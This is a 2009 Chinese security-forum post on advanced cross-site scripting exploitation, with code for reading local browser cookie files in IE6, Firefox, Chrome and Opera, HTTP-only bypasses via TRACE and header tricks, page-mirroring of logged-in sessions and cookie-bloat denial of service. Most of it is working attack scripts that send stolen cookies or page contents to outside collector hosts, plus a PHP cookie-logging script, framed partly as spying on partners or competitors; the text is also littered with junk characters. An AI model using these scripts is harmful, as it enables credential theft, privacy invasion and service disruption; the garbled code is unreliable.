XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页: C5 a+ w" W, }# C# N+ n
本帖最后由 racle 于 2009-5-30 09:19 编辑
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4 I& U6 c+ B) G4 Y* ?" H4 D. |. iXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html, ?1 p$ ?& t6 M( A) s
转帖请保留版权8 A& O# S/ ^7 L0 a9 c2 }$ v
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1 d7 }) n0 Q8 p-------------------------------------------前言---------------------------------------------------------1 y4 A* @4 u+ y; x3 g- T
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.- B, C8 p3 j& s- [+ P, f
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
9 X7 i3 e9 M; B+ r+ T/ phttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介! ?3 I- P& S6 n1 K: E- T+ U
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全9 T3 F( ]) S1 Z9 \+ z
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过) q3 o- M+ Q3 T* r
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF5 R/ J8 F% X7 h8 i9 r! C; g
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
; M2 ~+ C( H5 c( k# U, Rhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持5 @& I7 r- N8 j
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6 p" h3 A- e: X如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.( j6 e4 N$ K% T0 a3 X8 t4 `
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高." g2 X$ g; @! }7 A) ~4 ~
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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# V. @7 ^" [' SBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大; B( G# C- h+ Z5 V' e
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QQ ZONE,校内网XSS 感染过万QQ ZONE.! d% d+ z3 d% u" T3 u/ B
8 c# a1 R9 ^7 W6 u f# m+ fOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------5 t- F2 G% z B% Z2 X, q; W+ C
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.! y5 \: ~/ y3 a3 W
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- x; ]3 W* o; K: z& q! s* h7 D4 y跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.! T& R$ |( ]' U C% s1 c6 b+ Z* h9 ^
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9 v1 O' d/ B$ p% x7 N3 X如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.) J1 ~, j S) H4 V; k
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
7 n. M$ Z' _$ Y* Q: i% m' T$ E我们在这里重点探讨以下几个问题:$ d8 B5 F4 \% c: i. D
/ w- k6 o0 `- R1 通过XSS,我们能实现什么?
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7 b- A* T* e5 t3 r( Z3 H2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?) a# Z6 j( F' @2 P- E' R" J: C
% W0 C# F1 x$ Z r3 ?3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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, j- F3 r% [& B) H- r( z4 XSS漏洞在输出和输入两个方面怎么才能避免.( F# y2 P; }0 E/ W3 I4 a
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------------------------------------------研究正题----------------------------------------------------------
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' ]" q: y7 g* _* o3 ^5 W4 f通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.! j. W- b9 }# z- C
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
Q a9 x0 G6 ^0 o- B, ?+ b复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
, I1 x L) [7 H( x" Z- n( h' w1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
% h/ C$ H3 ^5 X* c$ c2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.* ?& A+ T* w( Q8 h1 Y7 S7 w
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
2 E% s: |8 X# c, R4:Http-only可以采用作为COOKIES保护方式之一.
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6 r R" T a4 ^; [" d2 f(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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& p3 f# ? E; V! @) u! v6 R# ^" Y我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!), a( o! F8 {! ~$ k( v# V; x" ^
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。2 t$ p! a; ?1 B3 r! S) S
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。0 r- i+ @- P. r1 V- q P4 N
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# i5 T+ H: y, H1 K7 E 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制., P( L9 U$ M2 _" b
复制代码IE6使用ajax读取本地文件 <script>
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5 I* X9 a* O* d7 `: [4 | function ajax_obj(){
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if(window.XMLHttpRequest) {" P _5 E% k8 E. C* {+ D9 q
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request = new XMLHttpRequest();8 B' E3 @ G( ~: j4 w6 N
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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8 `7 l6 c! V( R/ H* X' h$ M! L! R% L+ D 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];7 T; r2 z$ G, T: u
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);3 r9 i1 A* e2 n9 x/ P8 a
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} catch(e) {}
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}
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var _x = ajax_obj();
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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8 l5 p; S6 p% V. t return _x.responseText;
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' O* x. r4 t. G# h0 l: m# Q1 c var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>0 a3 [% @9 u I' U1 n2 m) e3 M
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var request = false;2 Y! _! u l8 ]- |: u
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if(window.XMLHttpRequest) {( \; U. c7 W+ `- C* F; Z1 F* S" I
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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w6 s) R" V$ ~2 a; }' Z 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];/ J3 G; z0 t2 P/ Q6 W5 {+ C& R
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for(var i=0; i<versions.length; i++) {
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try {
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request = new ActiveXObject(versions);
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} catch(e) {}
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}
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}
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}
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function _7or3(_m,action,argv){: f! \! T' l6 u; T4 c
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);# _! K1 e4 x: H4 g H
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”7 V& d* K- s# ^8 T
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"# O p# W/ Q* h$ f, [" l0 m8 A! a& H3 v
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' s1 P/ g/ f' d Chrome 1.0.154.53 use ajax read local txt file and upload exp
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, F9 P* M1 R5 V author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. ' g8 n6 e4 ~; r3 |
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header("Content-Disposition: attachment;filename=kxlzx.htm"); * K) k1 y) [" Q8 {
+ X5 @1 J {9 aheader("Content-type: application/kxlzx"); , o# N4 |% t) i5 S
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set header, so just download html file,and open it at local. . |* ^. v& O7 F) m1 Z# ^& Q
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> 4 v7 L, j1 L1 L! x+ u- p* ~
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<input id="input" name="cookie" value="" type="hidden">
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<script>
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( U2 V( ?: Q; jfunction doMyAjax(user)
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{
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- N: C1 Y3 t% f9 u" u" mvar time = Math.random();
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/*
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8 r2 f& z B0 Vthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default , S6 f5 h& V3 `
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on... 4 B' ~5 p5 A; I3 {/ z% w8 R) a: Y
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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2 i6 b, K' c) CstartRequest(strPer);
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} 2 v/ B9 S3 n! d5 ?8 Z4 q
5 b, W0 `$ J' h+ Z
& J W; b" q' w3 |" q
, E# z2 {+ l! J" \, I, Ofunction Enshellcode(txt) % J" K8 C' A2 K, J
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{
s* \8 J( h* V+ d( X
+ s1 H, F4 ]7 r3 W9 Gvar url=new String(txt); + x5 ~; V [. T
2 V C. B5 V* x7 K' Vvar i=0,l=0,k=0,curl=""; % |9 Q9 n: L: ~+ S% {
5 f. g/ R5 }& @$ N1 Pl= url.length;
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* C! R5 F9 M1 N! X1 Z$ xfor(;i<l;i++){
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k=url.charCodeAt(i);
$ | h$ T' C( u i! J& S E8 X. J# ?! n) O) U1 w* f* ~
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
5 v& b+ q: U, G8 n3 w3 r0 j" i
9 u" M3 D- t' vif (l%2){curl+="00";}else{curl+="0000";}
# I$ I! R% j) _7 d: |4 \: L4 h& _" H
curl=curl.replace(/(..)(..)/g,"%u$2$1"); . e' Z+ N, e: o6 C7 L& k- G
k, ]4 c& s- r; \& @5 wreturn curl;
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0 \. z6 |4 i# ^}
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var xmlHttp;
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function createXMLHttp(){
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E7 w3 n, M' F* A7 G$ L2 k if(window.XMLHttpRequest){ ! S9 N' [; Z9 u: R# [
3 j" Q& k# v: e7 ^, UxmlHttp = new XMLHttpRequest(); . T, S. Y9 v3 p+ p/ ]* y1 o) I( S$ w
5 i- f: j& e6 q8 o& C# l( X* \
} 6 s9 I5 s" j; s: f. v7 `
5 R7 ?3 }. Q- N3 K; |% ]$ X: U5 _ else if(window.ActiveXObject){
6 \3 P5 K+ Z1 r, U
) X, q1 L5 O, ~, _& N; gxmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); . `$ m# a* ]# b3 ?/ I
% j' V) b x- t1 I. m
} % |" ?( e2 {7 n' {/ ?6 p# \: F2 f
2 z4 ? c) k. u$ J* l7 J ?}
% Q: f$ `6 Q; _6 Y. M! {3 ^7 a2 ?0 a5 g7 H6 C
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function startRequest(doUrl){ 1 u" b0 b% a; Z, U+ {
3 W- }4 L! e3 l h5 p% c2 n3 W+ K 8 h# C3 F6 B4 X8 o3 o
2 w! ]5 d, n, y5 | J; Y1 P7 S" F createXMLHttp();
, f7 E& l% h8 V# Z3 N% w: I! [' N6 F+ x$ C$ ]
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); ! a6 s& S, r" l$ v- s: n- G* E' S
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" S+ t% U5 P; q
5 f8 y& f) O$ `, ^ _
+ N! C! o& Y5 Q- _! ?- O# K& H
! g% e: J, h2 A2 Y6 O9 S9 ?}
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& H0 f& m. P- {3 M. c8 Q
1 y3 Q- i9 Z; `: Y8 _& v: vfunction handleStateChange(){ # y8 O- s. m. H3 A3 H7 Z/ B/ F
/ [+ }* j9 [2 J4 A if (xmlHttp.readyState == 4 ){ $ p- @! ^' R0 @5 G$ k
4 ?- V2 ~0 C; c' M
var strResponse = ""; # S1 Q( M. L! U/ g
! z4 [) W1 b/ l. O. R setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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# y$ j8 b% ?2 C4 [2 W3 U7 e6 e& G }
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} 1 m; D# o/ {, V8 U- j
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function framekxlzxPost(text) ' ^, y7 X* F8 u, f9 M) }
. t9 D- [6 ~) e$ o" E
{
6 M* z3 j5 O' y0 N/ ?1 C2 Y8 B5 \: X9 ]% c
document.getElementById("input").value = Enshellcode(text); ) Z- m- g( N+ k& \" [
7 ~& S5 Z6 _. P
document.getElementById("form").submit();
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} 0 @. d; T0 ]' w( z3 ?% H; i) {/ Y4 b/ d
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+ \7 ]. Q# @7 ~) O9 M$ y1 L) W( e3 YdoMyAjax("administrator"); : G; k4 |0 {5 P9 ?& a
+ K% j. ^2 \& ^; s. R- l* f
# K2 G/ b3 y9 X# z H, Z. T
* d* S# ]# o- ^% E; K- s: Q
</script>
2 N9 M! v+ e; R6 s* K8 L) @, X+ G$ q复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
, s/ y) A1 c' [# E7 K0 }/ ?$ H) G2 H. W
var xmlHttp;
8 W) a7 g" I" b0 k/ q7 w) h& ~7 D7 i2 @4 L( J* H' g1 N
function createXMLHttp(){
2 I3 W0 M! j& O- I! D4 `0 O, |$ z6 T+ k# @1 J7 @
if(window.XMLHttpRequest){
' I& `# T- b! I% z& h, p4 g% l* a1 O5 V' j3 f
xmlHttp = new XMLHttpRequest(); 6 b0 V7 A0 I/ [; B) F6 K. @) m
5 u/ B+ d/ l; V4 q
} " C8 t7 B; O: T& t% v" |
P" B1 s" Y7 N! q% S3 S
else if(window.ActiveXObject){ ) n) x ?, ?1 V% e0 X( L( o
( K6 k* _0 |. K P+ S) W2 ]# U xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 5 ?5 \2 o- z" [2 l4 ~
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}
E+ H8 q: K0 g i! G( d' t' s+ N) d0 e% x; i) t/ Y% d3 G
}
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+ S. X# u X% [/ M: C" t2 j9 F" d5 w! V3 Q4 s( o0 \
function startRequest(doUrl){ # ?" E. h; }& g9 l" S
7 j! t6 e$ J/ w3 A/ a! I
1 b B' w) K& M" z+ [1 q" P$ e' X% |
createXMLHttp();
1 v" u8 I+ O' t
# O( V; N @9 ] y% p ( f3 H# n. i1 m/ g& n1 T j1 F
% q" }1 |$ N2 a7 J xmlHttp.onreadystatechange = handleStateChange; 3 g- `1 c- \# J7 P5 E4 }
" J6 \* o: x" m
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xmlHttp.open("GET", doUrl, true); 7 i. }; H9 f7 p
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( q1 t: o @8 d# X5 b4 g- P) d u; w6 P+ D0 U. ]2 C- {
xmlHttp.send(null);
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3 Z3 y$ w% ], v4 m, @) u' r4 E/ I: [
' E( H. e% M E7 F8 }- Z
0 S7 @" S$ x7 e* C, Y! q+ [! D
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: j# k+ D d Y# ]1 d
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1 D7 ` i( Y4 V' _; N
function handleStateChange(){
3 s } Q- n, X) \6 d' U2 y/ D' f8 K
if (xmlHttp.readyState == 4 ){ # z: v/ L6 Q! b
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var strResponse = ""; $ S; h" \8 q9 S% U% F
/ j! V/ t5 x- q, a
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); + F& l' [! c7 v1 p+ Y. q
: Q9 J$ y! t' k- A+ }) e; c" q+ l+ ?
1 B5 t$ \# D+ m+ z9 U1 a. r, G$ ~
}
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7 M5 @1 c* H5 M7 H4 r7 d3 p" R}
# z" S/ v& _" R& g" B6 i. q" G2 h, S3 w% {
5 x: m. u4 i; S) q* x! Q4 \
/ j& ^& }! s( _4 f' xfunction doMyAjax(user,file)
2 w# v. v3 D# f
3 d3 F7 o+ F M U5 X* {{
5 O( T a( r9 n! _: f. M1 S6 W& L/ K8 Y9 Z& Y
var time = Math.random(); & W* s- Z2 R) m7 f# r. O
/ p. n$ z! |# M: {6 V' X
( O* r$ @7 N, z0 Y3 h1 }* _- i' J! D% t
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; * x" j- ^1 J8 ?" x" p* e
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9 B* c& o& v7 L, q
6 M. `3 L# ^. u$ b startRequest(strPer); 4 L/ Q0 C! J2 y3 w
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, S6 w0 ^2 B6 e4 X5 ^4 k" ~}
- r3 `6 T' l- }
( R" x' K0 j. u- w ; m" u$ } _7 \# ]5 Y9 s& f
! f2 ~, g, d+ z" Q' i4 qfunction framekxlzxPost(text) ; ?& z2 F1 w( z0 }/ f) C
5 ~' {# Q, U4 d9 m7 O7 [; v{ 5 f6 \: | c" U; M5 F4 ?8 k, C
- }6 a) `# o, A$ S
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
% E3 c) x8 D# }) D4 E6 P0 B w6 n4 V
alert(/ok/); % e- s* f/ o y
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2 @- P9 w7 z$ p9 M/ `; _) n
0 j7 u1 ~- i" }# l! {( `* xdoMyAjax('administrator','administrator@alibaba[1].txt'); 9 \$ B5 F. O. L: P
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+ m) k A9 I5 m! O9 ~8 D* O+ V' _; Q4 f! P {" A
</script>" p0 G1 @- Q- A1 H
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# K1 J4 {! t* Q8 p1 P( @, ~+ F m a+ ]' A) C+ v8 r
5 ^: G; L( g, h La.php; o% ^$ V3 s$ z( [* o/ Y
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0 L# J9 ]% Z+ B, L9 B- H
1 l9 d1 j, L2 g6 @: |6 E2 B
<?php & m+ G* }, H! H4 B& ^
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+ i7 p" ?2 G4 W6 _4 j; E
7 }0 q( v" X! l: |+ v/ }! ^2 J$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
% v1 {, `/ e% J/ X$ [) } s4 }8 L! u0 H' ?; e0 l
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; , Y7 D6 ~. q) p- y" h7 s: `
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); - @$ [; K G5 b5 ?! i6 D
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fwrite($fp,$_GET["cookie"]); " F9 e# ~0 _' z! h
8 l; z& j& {2 q! R3 pfclose($fp);
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:, t' m/ c, g: ?+ [ ^7 i
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.% B" F3 A3 w1 a2 F' F" L! \) F
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.5 f* q/ _. i: i, C9 Q4 N/ r1 k
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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5 I7 \: C5 |( |& {7 z4 X5 K//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);* V+ t6 C) m: r; U5 X
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
9 c5 U/ Y+ e& q; Z$ r3 j! _
$ j& A W7 ?$ Kfunction getURL(s) {
8 [9 _- r( _$ W1 K0 l+ e! \- R. s
! ^) U, ]1 f! `" E3 [5 T" K1 Pvar image = new Image();
e) m! m, r) q' x) a4 z$ Q3 N3 K) Y5 r' f) k
image.style.width = 0;! p1 g" H- C7 q- p
8 l, I2 M( Y; K( Q8 `+ ]image.style.height = 0;( |; X& m1 S4 [
' R: Q% K/ s' K6 |image.src = s;
5 ]1 H: F) K9 N7 ]
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( C2 n4 D2 p/ ggetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
& V! ^7 k: Z4 B/ z# a' _复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
, Q! O6 `2 q. \; W( n4 G这里引用大风的一段简单代码:<script language="javascript">+ f' V$ m7 C! u! T4 Q& G) ?# G
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var metastr = "AAAAAAAAAA"; // 10 A
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7 \: X. k ?5 m. y' v& y/ I% h( Ovar str = "";
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while (str.length < 4000){
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) ~9 G/ H( Q2 d. ?8 } str += metastr;# n p1 g3 E; \& v! H
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: S' x) _3 g4 c2 O8 [document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS4 ?6 l9 m) B( s! T* C
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
2 _1 h1 G! I% H复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
* w0 Z: P0 n4 K9 rserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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4 ?' m, r7 o2 b: p' A& _5 ]; y1 M假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
1 _8 {; v. x/ r1 k) |, Y) A+ P攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.1 p& A0 D& A2 z k2 g* w" D
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(III) Http only bypass 与 补救对策:
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# [ W+ m4 i" x" U% x什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.% N: g+ u3 o7 s2 W& _8 w. q
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">( ?/ L# `$ D+ ?9 b
& R& s& T/ [) X. ^+ ~<!--& E% o; q, l+ R* n
# o4 V9 D) M8 N9 zfunction normalCookie() { 8 {$ B8 ~; @4 Y8 F5 v; |; J8 L; M
( n$ g* w' `( {% j% M2 P
document.cookie = "TheCookieName=CookieValue_httpOnly"; * `, }& l! l% g P& O( p; v& m2 C X
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alert(document.cookie);9 D7 K' I( {* {8 i5 z
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}
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' h! y8 n0 n) f, j! t* lfunction httpOnlyCookie() { ! Z4 b! S4 i8 k0 s" t# e: s! G
+ h/ F2 m% g& \% B0 i6 Y
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}
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4 X' `/ w; e/ Z; P+ `. @: U, J//-->
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* [6 x4 `- I; ?1 R: H- ?</script>/ z" A1 |8 A* x: B) ]3 }! Y p7 M
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>. G1 W, ?& k' \( Q
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>% u; d! S8 T0 _+ g! F
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
& S" |# I7 r _; n4 v+ }9 |3 E' t# Q/ `3 j J. s8 j% V2 m, C9 Z5 S
* ]3 {( {6 Q U
0 ?6 ]! [% ]+ O* w2 e: l: avar request = false;
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1 a* p0 A) V& r if(window.XMLHttpRequest) {
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$ u ]! f: F' l- \ request = new XMLHttpRequest();* P5 J' L7 c+ r% f6 `
, D1 h! K) Y" {. |) X9 g1 ^& ~ if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');8 d, O t! s+ y" B; V( F& u8 M
8 L0 K' ]/ t# u* T }) s" e/ n9 t* s5 K a" F* I
; y/ s( W$ R3 \( Y+ w } else if(window.ActiveXObject) {' v" @8 S' y% m4 }' P
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];+ j7 Z& Q2 \' D. [3 B, W
. ?' B/ q0 B7 p- V0 C
for(var i=0; i<versions.length; i++) {
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) K; e- X- a: o4 R5 z. G+ h try {; G l+ j7 Q7 B/ u
1 @0 |+ R& b9 u4 G request = new ActiveXObject(versions);5 v Q* N C3 w E& N
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} catch(e) {}# |' J f. J/ f7 \
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xmlHttp=request; D1 Y3 |, y. g$ w0 l4 h2 z0 d7 t
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xmlHttp.open("TRACE","http://www.vul.com",false);$ d% a7 ^; `2 @% y9 B4 H( f
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xmlHttp.send(null);
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8 ^- ?+ M* `$ S8 c2 L5 H5 zxmlDoc=xmlHttp.responseText;" e( \. y. {7 F& r! H2 l5 z
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alert(xmlDoc);6 d1 }1 w, v) ]- ~* {/ M
7 P' }# Q6 j$ @# z# t</script>
# I. H: ]8 {+ p, D复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>, k5 V* N" f0 B6 }9 z
9 F) o% g' b! `# n) @var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");% ?' s$ R; s* i0 e1 s) w
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XmlHttp.open("GET","http://www.google.com",false);) W6 m+ L& t! j0 @ N P( e: I
( D& r# q) d8 k6 ]( |XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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0 ?. Q) ?( i6 W2 V) \var resource=xmlHttp.responseText
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+ Z# k* K& V, U( y- {* r1 W& Oresource.search(/cookies/);
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: }9 w& g; V! P$ j5 c......................
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e) }' ]* a/ j% U" f/ [</script>5 y# n- t+ b' }# W
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7 Z- \; G4 U8 @! b+ m如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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[code]) @" a) L c4 y% [# G# R _+ N
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RewriteEngine On: ~" \0 S6 o) O4 T. `* O
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RewriteCond %{REQUEST_METHOD} ^TRACE! {2 F: P! I9 Z5 G. E% N7 v; U
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RewriteRule .* - [F]4 M( y6 v0 P1 x& a" }; B& M' O
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. a# V0 q5 l- }Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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. {$ C! Q' E" [5 n0 \8 qacl TRACE method TRACE
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...
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http_access deny TRACE3 y ^5 _9 e8 V' V' y! r4 k9 u
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
* A/ c5 Y4 |. @2 H7 f ~. q4 O$ n, C* B' O1 L) T# B$ r% O. y
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");, Z6 H/ R* R) v9 M3 O; r; e$ @9 O6 g
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XmlHttp.open("GET","http://www.google.com",false);' p7 e; }, G, I9 P; `4 Y4 v
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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: v6 P9 X( ?% U! D/ |XmlHttp.send(null);" R6 ^/ t. S' q Z2 y% v
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</script>7 z9 C" R( q8 e( F# B' D
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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1 R( Q6 N6 K: S* _3 e1 A! pvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);8 y5 p7 I: o, d1 J- d k
- ]) r1 q2 o# X6 Y2 E; |' {8 [1 P% t- MXmlHttp.send(null);9 P3 O* X* X) {) w% }
* Q# _. d7 X! m; g, l4 G# s i<script>9 e' u3 T: V! t9 V$ z
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
$ \5 J2 d/ P% P% u6 H# h" I复制代码案例:Twitter 蠕蟲五度發威2 h6 y* @- I; ~- G
第一版:$ {2 U& K9 E- D; w2 U2 g* v5 P
下载 (5.1 KB)
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7 n, N' W6 d$ D9 C, _% C+ i9 b6 天前 08:27- u) c7 v3 H& S0 r2 ^& S5 r
